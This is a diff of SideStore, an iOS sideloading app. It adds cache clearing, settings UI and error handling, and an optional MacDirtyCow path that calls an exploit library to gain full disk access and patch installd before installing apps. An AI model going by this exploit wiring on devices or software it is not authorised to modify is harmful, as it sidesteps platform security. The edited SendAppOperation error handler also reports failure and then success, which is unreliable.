||||
var errorFailureReason: String {
|
||||
guard !self.underlyingErrors.isEmpty else { return NSLocalizedString("An unknown error occured.", comment: "") }
|
||||
|
||||
let errorMessages = self.underlyingErrors.map { $0.localizedDescription }
|
||||
|
||||
let message = errorMessages.joined(separator: "\n\n")
|
||||
return message
|
||||
}
|
||||
}
|
||||
*/
|
||||
@objc(ClearAppCacheOperation)
|
||||
class ClearAppCacheOperation: ResultOperation<Void>
|
||||
{
|
||||
private let coordinator = NSFileCoordinator()
|
||||
private let coordinatorQueue = OperationQueue()
|
||||
|
||||
override init()
|
||||
{
|
||||
self.coordinatorQueue.name = "AltStore - ClearAppCacheOperation Queue"
|
||||
}
|
||||
|
||||
override func main()
|
||||
{
|
||||
super.main()
|
||||
|
||||
var allErrors = [Error]()
|
||||
|
||||
self.clearTemporaryDirectory { result in
|
||||
switch result
|
||||
{
|
||||
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
|
||||
case .failure(let error): allErrors.append(error)
|
||||
case .success: break
|
||||
}
|
||||
|
||||
self.removeUninstalledAppBackupDirectories { result in
|
||||
switch result
|
||||
{
|
||||
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
|
||||
case .failure(let error): allErrors.append(error)
|
||||
case .success: break
|
||||
}
|
||||
|
||||
if allErrors.isEmpty
|
||||
{
|
||||
self.finish(.success(()))
|
||||
}
|
||||
else
|
||||
{
|
||||
self.finish(.failure(OperationError.cacheClearError(errors: allErrors.map({ error in
|
||||
return error.localizedDescription
|
||||
}))))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private extension ClearAppCacheOperation
|
||||
{
|
||||
func clearTemporaryDirectory(completion: @escaping (Result<Void, Error>) -> Void)
|
||||
{
|
||||
let intent = NSFileAccessIntent.writingIntent(with: FileManager.default.temporaryDirectory, options: [.forDeleting])
|
||||
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
|
||||
do
|
||||
{
|
||||
if let error
|
||||
{
|
||||
throw error
|
||||
}
|
||||
|
||||
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
|
||||
includingPropertiesForKeys: [],
|
||||
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
|
||||
var errors = [Error]()
|
||||
|
||||
for fileURL in fileURLs
|
||||
{
|
||||
do
|
||||
{
|
||||
print("[ALTLog] Removing item from temporary directory:", fileURL.lastPathComponent)
|
||||
try FileManager.default.removeItem(at: fileURL)
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("[ALTLog] Failed to remove \(fileURL.lastPathComponent) from temporary directory.", error)
|
||||
errors.append(error)
|
||||
}
|
||||
}
|
||||
|
||||
if !errors.isEmpty
|
||||
{
|
||||
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
|
||||
return error.localizedDescription
|
||||
}))))
|
||||
}
|
||||
else
|
||||
{
|
||||
completion(.success(()))
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
completion(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func removeUninstalledAppBackupDirectories(completion: @escaping (Result<Void, Error>) -> Void)
|
||||
{
|
||||
guard let backupsDirectory = FileManager.default.appBackupsDirectory else { return completion(.failure(OperationError.missingAppGroup)) }
|
||||
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
|
||||
let installedAppBundleIDs = Set(InstalledApp.all(in: context).map { $0.bundleIdentifier })
|
||||
|
||||
let intent = NSFileAccessIntent.writingIntent(with: backupsDirectory, options: [.forDeleting])
|
||||
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
|
||||
do
|
||||
{
|
||||
if let error
|
||||
{
|
||||
throw error
|
||||
}
|
||||
|
||||
var isDirectory: ObjCBool = false
|
||||
guard FileManager.default.fileExists(atPath: intent.url.path, isDirectory: &isDirectory), isDirectory.boolValue else {
|
||||
completion(.success(()))
|
||||
return
|
||||
}
|
||||
|
||||
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
|
||||
includingPropertiesForKeys: [.isDirectoryKey, .nameKey],
|
||||
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
|
||||
var errors = [Error]()
|
||||
|
||||
|
||||
for backupDirectory in fileURLs
|
||||
{
|
||||
do
|
||||
{
|
||||
let resourceValues = try backupDirectory.resourceValues(forKeys: [.isDirectoryKey, .nameKey])
|
||||
guard let isDirectory = resourceValues.isDirectory, let bundleID = resourceValues.name else { continue }
|
||||
|
||||
if isDirectory && !installedAppBundleIDs.contains(bundleID) && !AppManager.shared.isActivelyManagingApp(withBundleID: bundleID)
|
||||
{
|
||||
print("[ALTLog] Removing backup directory for uninstalled app:", bundleID)
|
||||
try FileManager.default.removeItem(at: backupDirectory)
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("[ALTLog] Failed to remove app backup directory:", error)
|
||||
errors.append(error)
|
||||
}
|
||||
}
|
||||
|
||||
if !errors.isEmpty
|
||||
{
|
||||
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
|
||||
return error.localizedDescription
|
||||
}))))
|
||||
}
|
||||
else
|
||||
{
|
||||
completion(.success(()))
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("[ALTLog] Failed to remove app backup directory:", error)
|
||||
completion(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -39,21 +39,14 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
|
||||
let allIdentifiers = [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
||||
|
||||
for profile in allIdentifiers {
|
||||
var attempts = 5
|
||||
while (attempts > 0){
|
||||
print("Remove Provisioning profile attempts left: \(attempts)")
|
||||
do {
|
||||
try remove_provisioning_profile(profile)
|
||||
self.progress.completedUnitCount += 1
|
||||
installedApp.isActive = false
|
||||
self.finish(.success(installedApp))
|
||||
break
|
||||
} catch {
|
||||
attempts -= 1
|
||||
if (attempts <= 0){
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}
|
||||
do {
|
||||
try remove_provisioning_profile(profile)
|
||||
self.progress.completedUnitCount += 1
|
||||
installedApp.isActive = false
|
||||
self.finish(.success(installedApp))
|
||||
break
|
||||
} catch {
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -50,7 +50,7 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
|
||||
do {
|
||||
try debug_app(installedApp.resignedBundleIdentifier)
|
||||
self.finish(.success(()))
|
||||
break
|
||||
retries = 0
|
||||
} catch {
|
||||
retries -= 1
|
||||
if (retries <= 0){
|
||||
|
||||
@@ -262,10 +262,6 @@ extension FetchProvisioningProfilesOperation
|
||||
{
|
||||
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
|
||||
}
|
||||
else
|
||||
{
|
||||
throw ALTAppleAPIError(.maximumAppIDLimitReached)
|
||||
}
|
||||
}
|
||||
}
|
||||
//App ID name must be ascii. If the name is not ascii, using bundleID instead
|
||||
|
||||
@@ -12,6 +12,9 @@ import AltStoreCore
|
||||
import AltSign
|
||||
import Roxas
|
||||
import minimuxer
|
||||
#if MACDIRTYCOW
|
||||
import MacDirtyCow
|
||||
#endif
|
||||
|
||||
@objc(InstallAppOperation)
|
||||
final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
@@ -41,12 +44,14 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
|
||||
guard
|
||||
let certificate = self.context.certificate,
|
||||
let resignedApp = self.context.resignedApp
|
||||
let resignedApp = self.context.resignedApp,
|
||||
let provisioningProfiles = self.context.provisioningProfiles
|
||||
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||
|
||||
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||
backgroundContext.perform {
|
||||
|
||||
|
||||
/* App */
|
||||
let installedApp: InstalledApp
|
||||
|
||||
@@ -116,8 +121,7 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
// Temporary directory and resigned .ipa no longer needed, so delete them now to ensure AltStore doesn't quit before we get the chance to.
|
||||
self.cleanUp()
|
||||
|
||||
var activeProfiles: Set<String>?
|
||||
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit
|
||||
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit, provisioningProfiles.contains(where: { $1.isFreeProvisioningProfile == true })
|
||||
{
|
||||
// When installing these new profiles, AltServer will remove all non-active profiles to ensure we remain under limit.
|
||||
|
||||
@@ -142,11 +146,10 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
installedApp.isActive = false
|
||||
}
|
||||
}
|
||||
|
||||
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
|
||||
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
|
||||
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
||||
})
|
||||
}
|
||||
else
|
||||
{
|
||||
installedApp.isActive = true
|
||||
}
|
||||
|
||||
var installing = true
|
||||
@@ -200,10 +203,42 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
}
|
||||
|
||||
do {
|
||||
#if MACDIRTYCOW
|
||||
if UserDefaults.standard.isMDCEnabled {
|
||||
grant_full_disk_access { error in
|
||||
if error != nil {
|
||||
self.finish(.failure(OperationError.mdcExploitFailed))
|
||||
return
|
||||
}
|
||||
if !patch_installd() {
|
||||
self.finish(.failure(OperationError.mdcExploitFailed))
|
||||
return
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
try install_ipa(installedApp.bundleIdentifier)
|
||||
installing = false
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
} catch let error {
|
||||
installing = false
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
try install_ipa(installedApp.bundleIdentifier)
|
||||
installing = false
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
}
|
||||
#else
|
||||
try install_ipa(installedApp.bundleIdentifier)
|
||||
installing = false
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
#endif
|
||||
} catch let error {
|
||||
installing = false
|
||||
self.finish(.failure(error))
|
||||
|
||||
@@ -34,10 +34,16 @@ enum OperationError: LocalizedError
|
||||
case openAppFailed(name: String)
|
||||
case missingAppGroup
|
||||
|
||||
case noWiFi
|
||||
case tooNewError
|
||||
case anisetteV1Error(message: String)
|
||||
case provisioningError(result: String, message: String?)
|
||||
case anisetteV3Error(message: String)
|
||||
|
||||
case mdcExploitFailed
|
||||
|
||||
case cacheClearError(errors: [String])
|
||||
|
||||
var failureReason: String? {
|
||||
switch self {
|
||||
case .unknown: return NSLocalizedString("An unknown error occured.", comment: "")
|
||||
@@ -53,9 +59,13 @@ enum OperationError: LocalizedError
|
||||
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
|
||||
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
|
||||
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
|
||||
case .noWiFi: return NSLocalizedString("You do not appear to be connected to WiFi!\nSideStore will never be able to install or refresh applications without WiFi.", comment: "")
|
||||
case .tooNewError: return NSLocalizedString("iOS 17 has changed how JIT is enabled therefore SideStore cannot enable it at this time, sorry for any inconvenience.\nWe will let everyone know once we have a solution!", comment: "")
|
||||
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
|
||||
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
|
||||
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
|
||||
case .mdcExploitFailed: return NSLocalizedString("An error occured while running MDC exploit, try disabling it in settings", comment: "")
|
||||
case .cacheClearError(let errors): return String(format: NSLocalizedString("An error occurred while clearing cache: %@", comment: ""), errors.joined(separator: "\n"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -41,19 +41,11 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
|
||||
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound)) }
|
||||
|
||||
for p in profiles {
|
||||
var attempts = 5
|
||||
while (attempts > 0){
|
||||
print("Install provisioning profile attempts left: \(attempts)")
|
||||
do {
|
||||
let bytes = p.value.data.toRustByteSlice()
|
||||
try install_provisioning_profile(bytes.forRust())
|
||||
break
|
||||
} catch {
|
||||
attempts -= 1
|
||||
if (attempts <= 0) {
|
||||
self.finish(.failure(MinimuxerError.ProfileInstall))
|
||||
}
|
||||
}
|
||||
do {
|
||||
let bytes = p.value.data.toRustByteSlice()
|
||||
try install_provisioning_profile(bytes.forRust())
|
||||
} catch {
|
||||
self.finish(.failure(MinimuxerError.ProfileInstall))
|
||||
}
|
||||
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
|
||||
@@ -11,6 +11,7 @@ import Roxas
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import minimuxer
|
||||
|
||||
@objc(ResignAppOperation)
|
||||
final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||
@@ -181,7 +182,7 @@ private extension ResignAppOperation
|
||||
|
||||
if app.isAltStoreApp
|
||||
{
|
||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else { throw OperationError.unknownUDID }
|
||||
guard let udid = fetch_udid()?.toString() as? String else { throw OperationError.unknownUDID }
|
||||
guard let pairingFileString = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.devicePairingString) as? String else { throw OperationError.unknownUDID }
|
||||
additionalValues[Bundle.Info.devicePairingString] = pairingFileString
|
||||
additionalValues[Bundle.Info.deviceID] = udid
|
||||
@@ -202,7 +203,7 @@ private extension ResignAppOperation
|
||||
// The embedded certificate + certificate identifier are already in app bundle, no need to update them.
|
||||
}
|
||||
}
|
||||
else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
|
||||
else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = fetch_udid()?.toString() as? String
|
||||
{
|
||||
// There is an ALTDeviceID entry, so assume the app is using AltKit and replace it with the device's UDID.
|
||||
additionalValues[Bundle.Info.deviceID] = udid
|
||||
|
||||
@@ -45,21 +45,13 @@ final class SendAppOperation: ResultOperation<()>
|
||||
print("AFC App `fileURL`: \(fileURL.absoluteString)")
|
||||
|
||||
if let data = NSData(contentsOf: fileURL) {
|
||||
var attempts = 10
|
||||
while (attempts != 0){
|
||||
print("Send app attempts left: \(attempts)")
|
||||
do {
|
||||
let bytes = Data(data).toRustByteSlice()
|
||||
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
|
||||
self.progress.completedUnitCount += 1
|
||||
self.finish(.success(()))
|
||||
break
|
||||
} catch {
|
||||
attempts -= 1
|
||||
if (attempts <= 0) {
|
||||
self.finish(.failure(MinimuxerError.RwAfc))
|
||||
}
|
||||
}
|
||||
do {
|
||||
let bytes = Data(data).toRustByteSlice()
|
||||
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
|
||||
self.progress.completedUnitCount += 1
|
||||
self.finish(.success(()))
|
||||
} catch {
|
||||
self.finish(.failure(MinimuxerError.RwAfc))
|
||||
self.progress.completedUnitCount += 1
|
||||
self.finish(.success(()))
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -21,7 +21,7 @@
|
||||
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
|
||||
<rect key="frame" x="0.0" y="1126" width="375" height="25"/>
|
||||
<rect key="frame" x="0.0" y="1341" width="375" height="25"/>
|
||||
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
@@ -236,9 +236,45 @@
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="NO"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="amC-sE-8O0" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="GYp-O0-pse" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="444" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="GYp-O0-pse" id="vDG-ZV-xRS">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Disable Idle Timeout" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PCh-Up-aJJ">
|
||||
<rect key="frame" x="30" y="15.5" width="166" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="iQA-wm-5ag">
|
||||
<rect key="frame" x="296" y="10" width="51" height="31"/>
|
||||
<connections>
|
||||
<action selector="toggleNoIdleTimeoutEnabled:" destination="aMk-Xp-UL8" eventType="valueChanged" id="WSl-Jc-g5J"/>
|
||||
</connections>
|
||||
</switch>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstAttribute="trailingMargin" secondItem="iQA-wm-5ag" secondAttribute="trailing" id="MJ1-HF-Dln"/>
|
||||
<constraint firstItem="PCh-Up-aJJ" firstAttribute="leading" secondItem="vDG-ZV-xRS" secondAttribute="leadingMargin" id="Ocu-jn-RAQ"/>
|
||||
<constraint firstItem="iQA-wm-5ag" firstAttribute="centerY" secondItem="vDG-ZV-xRS" secondAttribute="centerY" id="c6W-bN-VAb"/>
|
||||
<constraint firstItem="PCh-Up-aJJ" firstAttribute="centerY" secondItem="vDG-ZV-xRS" secondAttribute="centerY" id="mL6-LB-cjn"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||
<userDefinedRuntimeAttributes>
|
||||
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||
<integer key="value" value="2"/>
|
||||
</userDefinedRuntimeAttribute>
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="amC-sE-8O0" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="495" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="amC-sE-8O0" id="GEO-2e-E4k">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
@@ -269,7 +305,7 @@
|
||||
<tableViewSection headerTitle="" id="eHy-qI-w5w">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="30h-59-88f" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="535" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="586" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="30h-59-88f" id="7qD-DW-Jls">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -309,28 +345,28 @@
|
||||
<tableViewSection headerTitle="" id="J90-vn-u2O">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="i4T-2q-jF3" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="626" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="677" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="i4T-2q-jF3" id="VTQ-H4-aCM">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Developers" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hRA-OK-Vjw">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Developers" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="hRA-OK-Vjw">
|
||||
<rect key="frame" x="30" y="15.5" width="86" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="lx9-35-OSk">
|
||||
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="lx9-35-OSk">
|
||||
<rect key="frame" x="187.5" y="15.5" width="157.5" height="20.5"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore Team" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JAA-iZ-VGb">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="SideStore Team" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JAA-iZ-VGb">
|
||||
<rect key="frame" x="0.0" y="0.0" width="125.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Mmj-3V-fTb">
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="Mmj-3V-fTb">
|
||||
<rect key="frame" x="139.5" y="0.0" width="18" height="20.5"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
@@ -353,28 +389,28 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="oHX-oR-nwJ" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="677" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="728" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="oHX-oR-nwJ" id="hN4-i5-igu">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="UI Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="oqY-wY-1Vf">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="UI Designer" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="oqY-wY-1Vf">
|
||||
<rect key="frame" x="30" y="15.5" width="89" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.80000000000000004" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" ambiguous="YES" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="gUq-6Q-t5X">
|
||||
<stackView opaque="NO" contentMode="scaleToFill" spacing="14" translatesAutoresizingMaskIntoConstraints="NO" id="gUq-6Q-t5X">
|
||||
<rect key="frame" x="198" y="15.5" width="147" height="20.5"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="Fabian (thdev)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ylE-VL-7Fq">
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Fabian (thdev)" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="ylE-VL-7Fq">
|
||||
<rect key="frame" x="0.0" y="0.0" width="115" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
